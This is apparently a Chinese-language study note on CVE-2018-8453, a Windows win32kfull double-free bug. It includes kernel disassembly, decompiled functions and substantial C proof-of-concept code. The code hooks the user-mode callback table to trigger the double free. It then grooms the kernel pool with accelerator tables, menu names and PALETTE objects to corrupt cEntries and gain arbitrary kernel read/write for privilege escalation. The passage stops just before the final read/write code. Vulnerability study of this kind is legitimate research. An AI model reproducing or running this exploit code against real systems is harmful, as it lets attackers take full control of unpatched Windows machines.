<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2018-8453提權漏洞學習筆記

    VSole2022-08-11 16:59:12

    一、前言

    1.漏洞描述

    由于win32kfull中的NtUserSetWindowFNID在對窗口對象的fnid進行設置的時候,沒有判斷該窗口是否已經釋放,這樣就可以對一個已經釋放的窗口進行fnid的設置。而在xxxSBTrackInit和xxxFreeWindow中都存在用戶層的回調,通過對函數的劫持可以在回調中釋放掉xxxSBTrackInit函數中使用的tagSBTRACK結構體,這樣當xxxSBTrackInit釋放該結構體的時候就會因為雙重釋放導致BSOD的產生。

    通過xxxSBTrackInit函數釋放結構體之前會對結構體中的部分成員進行解引用的操作,在相應的內存地址中放置PALETTE的cEntries成員的地址來利用解引用擴大該值,實現越界地址寫入相鄰PALETTE的pFirstColor來實現任意地址讀寫,最終實現提權。

    2.實驗環境

    • 操作系統:Win10 x64 1709 專業版
    • 編譯器:Visual Studio 2017
    • 調試器:IDA Pro, WinDbg

    二、漏洞分析

    1.關鍵結構體

    由于在Win10系統中,很多符號并沒有導出,所以一些結構體成員只能通過分析得到。對于窗口對象tagWND,和本次漏洞有關的成員定義如下:

    3: kd> dt tagWND   +0x000 head             : _THRDESKHEAD   +0x0A8 pcls             : Ptr64 tagCLS 3: kd> dt _THRDESKHEAD   +0x000 h                : Ptr64 Void   +0x008 cLockObj         : Uint4B   +0x010 pti              : Ptr64 tagTHREADINFO   +0x018 rpdesk           : Ptr64 tagDESKTOP   +0x020 pSelf            : Ptr64 UChar
    

    其中偏移0x10的pti指向tagTHREADINFO結構體,改結構體保存了線程信息,定義如下:

    3: kd> dt tagTHREADINFO   +0x052 fnid                 : Uint2B   +0x180 cbwndExtra     : Uint8B   +0x198 pq                   : Ptr64 tagQ   +0x2B0 pSBTrack         : Ptr64 tagSBTRACK
    

    偏移0x52的fnid表明了窗口的狀態,當值包含0x8000的時候,表示窗口被釋放:

    #define FNID_DELETED_BIT            0x00008000
    

    偏移0x198的pq指向tagQ結構體,結構體定義如下:

    1: kd> dt tagQ   +0x068 spwndCapture     : Ptr64 tagWND
    

    偏移0x2B0指向tagSBTRACK結構體,當鼠標在一個滾動條按下左鍵的時候,系統會通過該結構體用來標記鼠標的當前狀態,結構體定義如下:

    3: kd> dt tagSBTRACK -vstruct tagSBTRACK, 17 elements, 0x68 bytes   +0x000 fHitOld          : Bitfield Pos 0, 1 Bit   +0x000 fTrackVert       : Bitfield Pos 1, 1 Bit   +0x000 fCtlSB           : Bitfield Pos 2, 1 Bit   +0x000 fTrackRecalc     : Bitfield Pos 3, 1 Bit   +0x008 spwndTrack       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x010 spwndSB          : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x018 spwndSBNotify    : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x020 rcTrack          : struct tagRECT, 4 elements, 0x10 bytes   +0x030 xxxpfnSB         : Ptr64 to     void    +0x038 cmdSB            : Uint4B   +0x040 hTimerSB         : Uint8B   +0x048 dpxThumb         : Int4B   +0x04c pxOld            : Int4B   +0x050 posOld           : Int4B   +0x054 posNew           : Int4B   +0x058 nBar             : Int4B   +0x060 pSBCalc          : Ptr64 to struct tagSBCALC, 16 elements, 0x40
    

    2.xxxFreeWindow函數分析

    內核通過xxxFreeWindow來釋放窗口,函數會將要釋放的窗口對象的fnid與0x8000進行或運算,表示窗口被釋放。接著判斷窗口對象是否有擴展內存,即cbExtra是否為0,如果不為0,則執行xxxClientFreeWindowClassExtraBytes來釋放擴展內存:

    .text:00000001C0050A10                 mov     r8, [rdi+180h]               ; r8 = tagWND->cbwndExtra.text:00000001C0050A17                 mov     eax, 8000h.text:00000001C0050A1C                 or      [rdi+52h], ax               ; tagWND->fnid |= 0x8000.text:00000001C0050A20                 lea     rax, [r8-1].text:00000001C0050A24                 cmp     rax, 0FFFFFFFFFFFFFFFDh.text:00000001C0050A28                 ja      short loc_1C0050A6D               ; 判斷r8是否為0.text:00000001C0050A2A                 test    dword ptr [rdi+130h], 800h.text:00000001C0050A34                 jnz     loc_1C00513AD.text:00000001C0050A3A                 call    cs:__imp_PsGetCurrentProcess.text:00000001C0050A40                 mov     ecx, [rax+304h].text:00000001C0050A46                 test    ecx, 40000008h.text:00000001C0050A4C                 jnz     short loc_1C0050A66.text:00000001C0050A4E                 mov     eax, [r15+1D0h].text:00000001C0050A55                 test    r14b, al.text:00000001C0050A58                 jnz     short loc_1C0050A66.text:00000001C0050A5A                 mov     rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra.text:00000001C0050A61                 call    xxxClientFreeWindowClassExtraBytes
    

    xxxClientFreeWindowClassExtraBytes函數會執行KeUserModeCallback來返回用戶層:

    .text:00000001C00B6D25                 mov     r8d, 8       .text:00000001C00B6D2B                 lea     rax, [rsp+48h+arg_10].text:00000001C00B6D30                 lea     r9, [rsp+48h+var_18] .text:00000001C00B6D35                 mov     [rsp+48h+var_28], rax .text:00000001C00B6D3A                 lea     rdx, [rsp+48h+arg_18] .text:00000001C00B6D3F                 lea     ecx, [r8+76h]   ; ecx = 0x76 + 0x8 = 0x7E.text:00000001C00B6D43                 call    cs:__imp_KeUserModeCallback
    

    xxxClientFreeWindowClassExtraBytes函數執行完成之后,函數會判斷窗口對象的fnid值的低12位是否在0x2A0到0x2AA之間:

    .text:00000001C00509EF                 movzx   eax, word ptr [rdi+52h] ; eax = tagWND->fnid.text:00000001C00509F3                 mov     edx, 3FFFh.text:00000001C00509F8                 movzx   ecx, ax.text:00000001C00509FB                 and     cx, dx      .text:00000001C00509FE                 mov     edx, 29Ah.text:00000001C0050A03                 lea     r8d, [rdx+6]    ; r8d = 0x29A + 0x6 = 0x2A0.text:00000001C0050A07                 cmp     cx, dx.text:00000001C0050A0A                 jnb     loc_1C005117A    ; 此處會跳轉                    ; 省略部分代碼.text:00000001C005117A loc_1C005117A:                         .text:00000001C005117A                 mov     ebx, 4000h.text:00000001C005117F                 test    bx, ax.text:00000001C0051182                 jnz     loc_1C0050A10   ; r8 = tagWND->cbwndExtra.text:00000001C0051188                 cmp     cx, r8w              ; r8w = 0x2A0.text:00000001C005118C                 jbe     loc_1C00514B7   ; fnid <= 0x2A0跳轉.text:00000001C0051192                 mov     eax, 2AAh.text:00000001C0051197                 cmp     cx, ax.text:00000001C005119A                 ja      short loc_1C00511AC ; fnid >= 0x2AA則跳轉.text:00000001C005119C                 mov     eax, [r15+1D0h].text:00000001C00511A3                 test    r14b, al.text:00000001C00511A6                 jz      loc_1C00515D8     ; 這里需要跳轉
    

    如果fnid在0x2A0到0x2AA之間,則會調用SfnDWORD函數:

    .text:00000001C00515D8 loc_1C00515D8:                         .text:00000001C00515D8                 mov     rax, cs:__imp_gpsi.text:00000001C00515DF                 xor     r9d, r9d      ; r9d = 0.text:00000001C00515E2                 movzx   ecx, cx.text:00000001C00515E5                 xor     r8d, r8d.text:00000001C00515E8                 mov     [rsp+100h+var_C8], r13.text:00000001C00515ED                 mov     dword ptr [rsp+100h+var_D0], r14d.text:00000001C00515F2                 mov     rax, [rax].text:00000001C00515F5                 lea     edx, [r9+70h]     ; edx = 0 + 0x70 = 0x70.text:00000001C00515F9                 mov     rax, [rax+rcx*8-1210h].text:00000001C0051601                 mov     rcx, rdi.text:00000001C0051604                 mov     qword ptr [rsp+100h+var_D8], rax.text:00000001C0051609                 mov     qword ptr [rsp+100h+var_E0], r13.text:00000001C005160E                 call    SfnDWORD.text:00000001C0051613                 jmp     loc_1C00511AC
    

    SfnDWORD函數也會調用KeUserModeCallback函數返回用戶層:

    .text:00000001C006F85A                 lea     r9, [rsp+108h+arg_18] ; .text:00000001C006F862                 mov     r8d, 30h ; '0'  ;.text:00000001C006F868                 lea     rdx, [rsp+108h+var_C8] .text:00000001C006F86D                 lea     ecx, [r8-2Eh]   ; ecx = 0x30 - 0x2E = 0x2.text:00000001C006F871                 call    cs:__imp_KeUserModeCallback
    

    3.xxxSBTrackInit函數分析

    xxxSBTrackInit是用來執行鼠標左鍵按下滾動條進行拖動的函數,該函數的部分代碼如下,函數首先申請一塊內存用來保存pSBTrack結構體,對這塊內存進行初始化,并對部分成員進行引用;接著函數調用xxxSBTrackLoop用來處理拖動滾動條要處理的消息;最后函數對相關成員進行解引用后,釋放掉pSBTrack結構體:

    __int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4){  //  申請內存并進行初始化  pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU');  pSBTrack_1 = pSBTrack;  if ( !pSBTrack )    return pSBTrack;     // 對成員進行初始化  *(_DWORD *)pSBTrack &= 0xFFFFFFFE;  *(_QWORD *)(pSBTrack + 0x40) = 0i64;  *(_QWORD *)(pSBTrack + 8) = 0i64;  *(_QWORD *)(pSBTrack + 0x10) = 0i64;  *(_QWORD *)(pSBTrack + 0x18) = 0i64;  *(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox;     // 將pSBTrack存儲與tagTHRAEDINFO->pSBTrack中  *(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack;   // 對spwndTrack,spwndSB,spwndSBNotify進行引用  arr[0] = pSBTrack_1 + 8;  arr[1] = tagWND;  HMAssignmentLock(arr);  arr[0] = pSBTrack_1 + 0x10;  arr[1] = tagWND;  HMAssignmentLock(arr);  arr[0] = pSBTrack_1 + 0x18;  arr[1] = *((_QWORD *)tagWND + 0xD);  HMAssignmentLock(arr);   xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64);  pti = *((_QWORD *)tagWND + 2);  if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )  {    // 消息分發    xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17);         // 釋放pSBTrack對象    pti = *((_QWORD *)tagWND + 2);    pSBTrack = *(_QWORD *)(pti + 0x2B0);    if ( pSBTrack )    {      // 解引用      HMAssignmentUnlock(pSBTrack + 0x18);      HMAssignmentUnlock(pSBTrack + 0x10);      HMAssignmentUnlock(pSBTrack + 8);      // 釋放pSBTrack      Win32FreePool(pSBTrack);      pti = *((_QWORD *)tagWND + 2);      *(_QWORD *)(pti + 0x2B0) = 0i64;      return pti;    }  }}
    

    xxxSBTrackLoop會調用xxxTranslateMessage和xxxDispatchMessage來分發處理消息,xxxDispatchMessage函數會調用上面說的SfnWORD函數來返回用戶層:

    4.NtUserSetWindowFNID函數分析

    該函數用來設置窗口對象的fnid增加指定的值,但是,這里增加的時候,函數沒有判斷窗口是否已經被釋放,即是否具備0x8000。這就會導致,進行設置的時候很有可能會對一個已經釋放的窗口的fnid值進行設置:

    __int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid){  hwnd = ValidateHwnd(a1);  if ( hwnd )  {    if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) )    {      // 判斷要設置的fnid是否滿足要求      if ( fnid == 0x4000 ||  fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 )      {        // 設置tagWND->fnid        *(_WORD *)(hwnd + 0x52) |= fnid;      }    }  }}
    

    5.漏洞成因

    這個漏洞的成因比較復雜,要將上面的幾個函數都聯系起來看,成因如下:

    當向滾動條控件發送WM_LBUTTONDOWN(左鍵按下)的消息時候,xxxSBTrackInit函數就會被調用,xxxSBTrackInit函數會調用xxxDispatchMessage,該函數又會調用SfdDWORD來返回用戶層。

    如果用戶HOOK了用戶層對應的處理函數,就可以在該函數中調用DestroyWindow來釋放擁有該滾動條控件的窗口。這樣就會執行xxxFreeWindow,該函數會首先將窗口的fnid標記為刪除的窗口,接著在該窗口存在擴展對象的時候,調用xxxClientFreeWindowClassExtraBytes函數返回用戶層。

    如果用戶HOOK了用戶層對應的處理函數,就可以在處理函數中調用NtUserSetWindowFNID,將窗口的fnid加入0x2A1的標記。這樣xxxClientFreeWindowClassExtraBytes函數返回以后,會因為被修改的窗口的fnid值的低12位為0x2A1導致再次調用SfdDWORD返回用戶層,此時在對應的處理函數中釋放掉xxxSBTrackInit函數申請的pSBTrack結構體,這塊內存就會處于釋放狀態。

    當xxxFreeWindow函數返回后,就會返回到xxxSBTrackInit繼續執行,而xxxSBTrackInit會在最后釋放pSBTrack結構體,而這個結構體已經被釋放,此時如果在釋放就會產生BSOD錯誤。

    三、漏洞觸發

    要成功觸發這個漏洞,就需要在SfdDWORD在用戶層的處理函數中釋放pSBTrack結構體,此時只需要通過向滾動條發送WM_CANCELMODE消息,該函數會導致xxxEndScroll函數來釋放內存,該函數的主要代碼如下:

    __int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2){         // 要釋放pSBTrack結構體的三個條件         pti = *((_QWORD *)pwnd + 2);         pSBTrack = *(_QWORD *)(pti + 0x2B0);         if ( !pSBTrack )                                                                              // pSBTrack != NULL              return pti;         pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64);                      if ( *(struct tagWND **)(pq + 0x68) != pwnd )                               //  pq->spwndCapture == pwnd              return pti;         if ( !*(_QWORD *)(pSBTrack + 0x30) )                                            //  pSBTrack->xxxpfnSB != NULL              return pti;                // 釋放掉pSBTrack結構體        pti = *((_QWORD *)pwnd + 2);        if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )        {          spwndSB = *(struct tagWND **)(pSBTrack + 0x10);          if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) )          {            *(_QWORD *)(pSBTrack + 0x30) = 0i64;            HMAssignmentUnlock(pSBTrack + 0x10);            HMAssignmentUnlock(pSBTrack + 0x18);            HMAssignmentUnlock(pSBTrack + 8);            Win32FreePool(pSBTrack);            pti = *((_QWORD *)pwnd + 2);            *(_QWORD *)(pti + 0x2B0) = 0i64;          }        }     return pti;}
    

    其中第二處的限制需要窗口一個新得滾動條對象,并對其調用SetCapture。整個觸發漏洞的流程如下:

    1、創建一個帶有八字節額外內存的窗口對象,并將該對象的句柄賦值到額外內存中供之后使用。同時,在該窗口中在創建一個滾動條對象用來觸發漏洞。

    2、HOOK SfdDWORD和xxxCreateFreeWindowClassExtraBytes返回到用戶層會執行的函數。

    3、向創建的窗口發送WM_LBUTTIONDWORD函數來調用xxxSBTrackInit函數。

    4、在用戶層定義的xxxClientFreeWindowClassExtraBytes會根據要釋放的內存中保存的是否是第一步中窗口的窗口句柄,來判斷是否要修改fnid和調用SetCapture。

    5、在用戶層定義的SfdDWORD的處理函數中,會判斷如果是第一次調用就會通過DestroyWindow來調用xxxFreeWindow。如果是第二處調用,則發送WM_CANCELMODE來是否pSBTrackInit函數。

    6、當xxxSBTrackInit函數最后釋放pSBTrack結構體的時候就會因為雙重釋放導致BSOD。

    相應的POC代碼如下:

    BOOL CreateWindows(){    BOOL bRet = TRUE;     HINSTANCE handle = NULL;     handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }     char *szClassName = "MainWindow";    WNDCLASS wc = { 0 };     wc.style = CS_HREDRAW | CS_VREDRAW;    wc.lpfnWndProc = DefWindowProc;    wc.hInstance = handle;    wc.cbWndExtra = 8;    wc.lpszClassName = szClassName;     if (!RegisterClass(&wc))    {        bRet = FALSE;        ShowError("RegisterClass", GetLastError());        goto exit;    }     Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);    if (!Window)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }     SetWindowLong(Window, 0, (ULONG)Window);     ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL);    if (!ScrollBar)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    } exit:    return bRet;} BOOL HookFunc_CVE_2018_8453(){    BOOL bRet = TRUE;     ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58);     DWORD dwOldProtect = 0;     if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect))    {        bRet = FALSE;        ShowError("VirtualProtect", GetLastError());        goto exit;    }     org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2);    *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD;     org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80);    *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes;     if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect))    {        bRet = FALSE;        ShowError("VirtualProtect", GetLastError());        goto exit;    } exit:    return bRet;} LONG64 My_fnDWORD(PVOID arg0){    if (g_Flag_2018_8453 && *(PDWORD)arg0)    {        g_Flag_2018_8453 = FALSE;        DestroyWindow(Window);    }     if (*((PULONG64)arg0 + 1) == 0x70)    {        SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);    }     return org_fnDWORD(arg0);} LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0){    if ((*(HWND*)*(HWND*)arg0) == Window)    {        New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);        NtUserSetWindowFNID(Window, 0x2A1);        SetCapture(New_ScrollBar);    }     return org_xxxClientAllocWindowClassExtraBytes(arg0);} BOOL POC_CVE_2018_8453(){    BOOL bRet = TRUE;     if (!CreateWindows())    {        bRet = FALSE;        goto exit;    }     if (!HookFunc_CVE_2018_8453())    {        bRet = FALSE;        goto exit;    }     g_Flag_2018_8453 = TRUE;     SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008); exit:    return bRet;}
    

    編譯運行POC就會產生BSOD錯誤,以下是部分錯誤信息:

    2: kd> !analyze -vConnected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ******************************************************************************** BAD_POOL_CALLER (c2)The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.Arguments:Arg1: 0000000000000007, Attempt to free pool which was already freedArg2: 0000000074737355, Pool tag value from the pool headerArg3: 000000002d080002, Contents of the first 4 bytes of the pool headerArg4: ffffea21825a28f0, Address of the block of pool being deallocated  POOL_ADDRESS:  ffffea21825a28f0 Paged session pool FREED_POOL_TAG:  Usst PROCESS_NAME:  exp_x64.exe STACK_TEXT:  nt!DbgBreakPointWithStatusnt!KiBugCheckDebugBreak+0x12nt!KeBugCheck2+0x937nt!KeBugCheckEx+0x107nt!ExFreePoolWithTag+0x17bcwin32kfull!Win32FreePoolImpl+0x4cwin32kbase!Win32FreePool+0x1cwin32kfull!xxxSBTrackInit+0x491win32kfull!xxxSBWndProc+0x9fawin32kfull!xxxSendTransformableMessageTimeout+0x3c8win32kfull!xxxWrapSendMessage+0x24win32kfull!NtUserMessageCall+0xfbnt!KiSystemServiceCopyEnd+0x13win32k!NtUserMessageCall+0x14USER32!SendMessageWorker+0x108USER32!SendMessageA+0x55
    

    可以看到BSOD產生的原因就是因為重復釋放pSBTrack結構體:

    四、漏洞利用

    1.利用思路

    想要不產生BSOD,就需要在第一次釋放pSBTrack結構體之后,申請一塊共占用0x80大小的內存來占用釋放掉的內存,這樣在xxxSBTrackInit中第二次釋放的時候不會因為釋放掉已釋放的漏洞產生雙重釋放。而在xxxSBTrackInit釋放內存之前,函數會對其中幾個成員通過調用HMAssignmentUnlock來解引用,該函數的實現如下,可以看出就是將傳入參數的指針所指向地址偏移為8的地址的值-1,如果可以傳入合適的參數來擴大特定的值就可以實現任意地址讀寫。

    之前往往選擇BitMap對象,但因為從Win10 1709開始,BitMap對象的data不在對象頭之后,pvScan0指向了不同的內存,所以這里就改為選用Palette對象來實現任意地址讀寫。

    2.Palette對象

    創建Palette對象的創建通過CreatePalette函數來實現,該函數的定義如下:

    HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);
    

    其中參數的定義如下,成員palNumEntries指定了數組palPalEntry的個數:

    typedef struct tagLOGPALETTE {    WORD        palVersion;    WORD        palNumEntries;    PALETTEENTRY  palPalEntry[1];} LOGPALETTE, *PLOGPALETTE;
    

    數組palPalEntry的類型為PALETTENTRY,可以看出每個元素占用4字節:

    typedef struct tagPALETTEENTRY{    BYTE    peRed;    BYTE    peGreen;    BYTE    peBlue;    BYTE    peFlags;} PALETTEENTRY;
    

    CreatePalette調用成功之后,就會創建一個PALETTE對象,該對象定義如下,其中偏移0x1C的cEntries等于LOGPALETTE的palNumEntries,偏移0x88的apalColor數組即LOGPALETTE中的palPalEntry數組。

    typedef struct _BASEOBJECT64{    ULONG64 hHmgr;    ULONG32 ulShareCount;    WORD cExclusiveLock;    WORD BaseFlags;    ULONG64 Tid;} BASEOBJECT64, *POBJ;         // sizeof = 0x18 typedef struct _PALETTE64{    BASEOBJECT64      BaseObject;            // 0x00    FLONG                   flPal;                      // 0x18    ULONG32              cEntries;                 // 0x1C    ULONG64              ulUnknown[0xB]    // 0x20    PALETTEENTRY     *pFirstColor;           // 0x78    PALETTE64            *ppalThis;               // 0x80    PALETTEENTRY     apalColors[3];         // 0x88} PALETTE64, *PPALETTE64;
    

    而偏移0x78的pFirstColor指向了apalColors,當通過SetPaletteEntries和GetPaletteEntries進行讀寫的時候,讀寫的地址就是由pFirstColor指向的地址:

    UINT WINAPI SetPaletteEntries(HPALETTE hpal,                              UINT iStart,                              UINT cEntries,                              PALETTEENTRY *pPalEntries);                               UINT  WINAPI GetPaletteEntries(HPALETTE hpal,                               UINT iStart,                               UINT cEntries,                               LPPALETTEENTRY pPalEntries);
    

    當創建帶有MenuName的窗口時,可以通過tagWND偏移0xA8的pcls來獲取其在內存中的地址。因此,可以通過創建一個這樣的窗口,然后釋放掉,在馬上創建一個PALETTE,那么它的pcls就指向了這個PALETTE對象(大概率),獲取MenuName地址的代碼如下,這里需要注意的是創建的內存如果打到一定程度,這塊內存的頭就不會有0x10的POOL_HEADER,所以使用的時候要根據具體情況來決定。

    ULONG64 AllocateFreeWindow(DWORD dwSize){    ULONG64 ulRes = 0;    HINSTANCE handle = NULL;     handle = GetModuleHandle(NULL);    if (!handle)    {        ShowError("GetModuleHandle", GetLastError());        goto exit;    }     WNDCLASSW wc = { 0 };    WCHAR szMenuName[0x1005] = { 0 };    PWCHAR pClassName = L"LEAKWS";     memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);    wc.style = CS_HREDRAW | CS_VREDRAW;    wc.hInstance = handle;    wc.lpfnWndProc = DefWindowProc;    wc.lpszClassName = pClassName;    wc.lpszMenuName = szMenuName;     if (!RegisterClassW(&wc))    {        ShowError("RegisterClassW", GetLastError());        goto exit;    }     HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);    if (!hWnd)    {        ShowError("CreateWindowExW", GetLastError());        goto exit;    }         lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();    if (!HMValidateHandle) goto exit;         PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW);    ULONG64 ulTagCls = 0, ulClientDelta = 0;     ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;    ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;    ulRes = *(PULONG64)(ulTagCls + 0x98);    DestroyWindow(hWnd);    UnregisterClassW(pClassName, handle);exit:    return ulRes;}
    

    此時可以通過創建一個0x1000字節的MenuName,在釋放掉它并馬上申請兩個占用0x800的PALETTE,這樣這兩個PALETTE就會占用釋放掉的MenuName,它們在內存中是相鄰的,且可以獲取到第一個PALETTE對象的地址,此時記錄第一個PALETTE對象cEntries對象的地址供之后使用,相應的代碼如下:

    BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette){    BOOL bRet = TRUE;    CONST DWORD dwCount = 0x1500;    DWORD i = 0, dwSize = 0x800;    HACCEL hAccel[dwCount] = { NULL };     PLOGPALETTE pLogPalette = NULL;     DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4;    DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY);     pLogPalette = (PLOGPALETTE)malloc(dwPalSize);    if (!pLogPalette)    {        ShowError("malloc", GetLastError());        goto exit;    }     ZeroMemory(pLogPalette, dwPalSize);    memset(pLogPalette, 0x41, dwPalSize);    pLogPalette->palNumEntries = dwNumEntries;    pLogPalette->palVersion = 0x300;     // 消耗0x800大小的空余內存    for (i = 0; i < dwCount; i++)    {        // 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800        ACCEL accel[0x14D] = { 0 };        hAccel[i] = CreateAcceleratorTable(accel, 0x14D);        if (!hAccel[i]) break;    }     // 申請一塊新的0x1000大小MENUNAME并釋放掉它    ULONG64 ulRes = AllocateFreeWindow(0x1000);    if (!ulRes)    {        bRet = FALSE;        goto exit;    }     // 占用釋放上一步釋放的0x1000大小的內存    hPalette[0] = CreatePalette(pLogPalette);    hPalette[1] = CreatePalette(pLogPalette);     if (!hPalette[0] || !hPalette[1])    {        bRet = FALSE;        goto exit;    }     // 用于記錄修改cEntries成員的大小    g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8; exit:    for (i = 0; i < dwCount; i++)    {        if (hAccel[i])        {            DestroyAcceleratorTable(hAccel[i]);            hAccel[i] = NULL;        }        else break;    }    return bRet;}
    

    接下來在第一次釋放的時候,就要創建大量的MenuName來占用釋放的內存,由于可以直接修改MenuName的值,所以可以對應tagSBTRACK結構體的成員,將其設為上面記錄的cEntries成員的地址,這樣之后xxxSBTrackInit函數在最后調用HMAssignmentUnlock進行-1操作的時候就會修改cEntries,相應的代碼如下:

    LONG64 My_fnDWORD(PVOID arg0){    if (g_Flag_2018_8453 && *(PDWORD)arg0)    {        g_Flag_2018_8453 = FALSE;        DestroyWindow(Window);    }     if (*((PULONG64)arg0 + 1) == 0x70)    {        CONST DWORD dwCount = 0x2000;        DWORD i = 0, dwSize = 0x80;        HACCEL hAccel[dwCount] = { NULL };         // 占用0x80的空閑內存        for (i = 0; i < dwCount; i++)        {            // 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80            ACCEL accel[0xD] = { 0 };            hAccel[i] = CreateAcceleratorTable(accel, 0xD);            if (!hAccel[i]) break;        }         // 釋放tagSBTRACK內存        SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);         lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();        if (!HMValidateHandle) goto exit;         HINSTANCE handle = GetModuleHandle(NULL);        if (!handle)        {            ShowError("GetModuleHandle", GetLastError());            goto exit;        }         HWND hWnd[0x400] = { NULL };        WNDCLASSW wc = { 0 };        WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 };         // 占用釋放的tagSBTRACK內存        memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);        *(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453;        *(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453;         for (i = 0; i < 0x400; i++)        {            memset(ClassName, 0, 0x50);            sprintf((char*)ClassName, "WindowLeak%d", i);             memset(&wc, 0, sizeof(wc));            wc.hInstance = handle;            wc.lpfnWndProc = DefWindowProc;            wc.lpszMenuName = MenuName;            wc.style = CS_HREDRAW | CS_VREDRAW;            wc.lpszClassName = ClassName;            if (!RegisterClassW(&wc))             {                ShowError("RegisterClassW", GetLastError());                break;            }             hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);            if (!hWnd[i])            {                ShowError("CreateWindowExW", GetLastError());                break;            }        }         ULONG64 ulTagCls = 0, ulClientDelta = 0;        PTHRDESKHEAD pTagWndHead = NULL;        for (i = 0; i < 0x400; i++)        {            if (!hWnd[i]) break;            pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW);            ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;            ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;            g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta;        }         for (i = 0; i < dwCount; i++)        {            if (hAccel[i])            {                DestroyAcceleratorTable(hAccel[i]);                hAccel[i] = NULL;            }            else break;        }    } exit:    return org_fnDWORD(arg0);}
    

    在觸發漏洞之前可以看到,創建的兩個0x800大小的PALETTE對象的第一個PALETTE對象的cEntries為原來的大小:

    觸發漏洞,進行兩次-1操作以后,就被擴大成一個很大的值:

    此時就可以通過函數越界讀寫相鄰的那個PALETTE對象的pFirstColor指針來實現任意地址讀寫了,相應代碼如下:

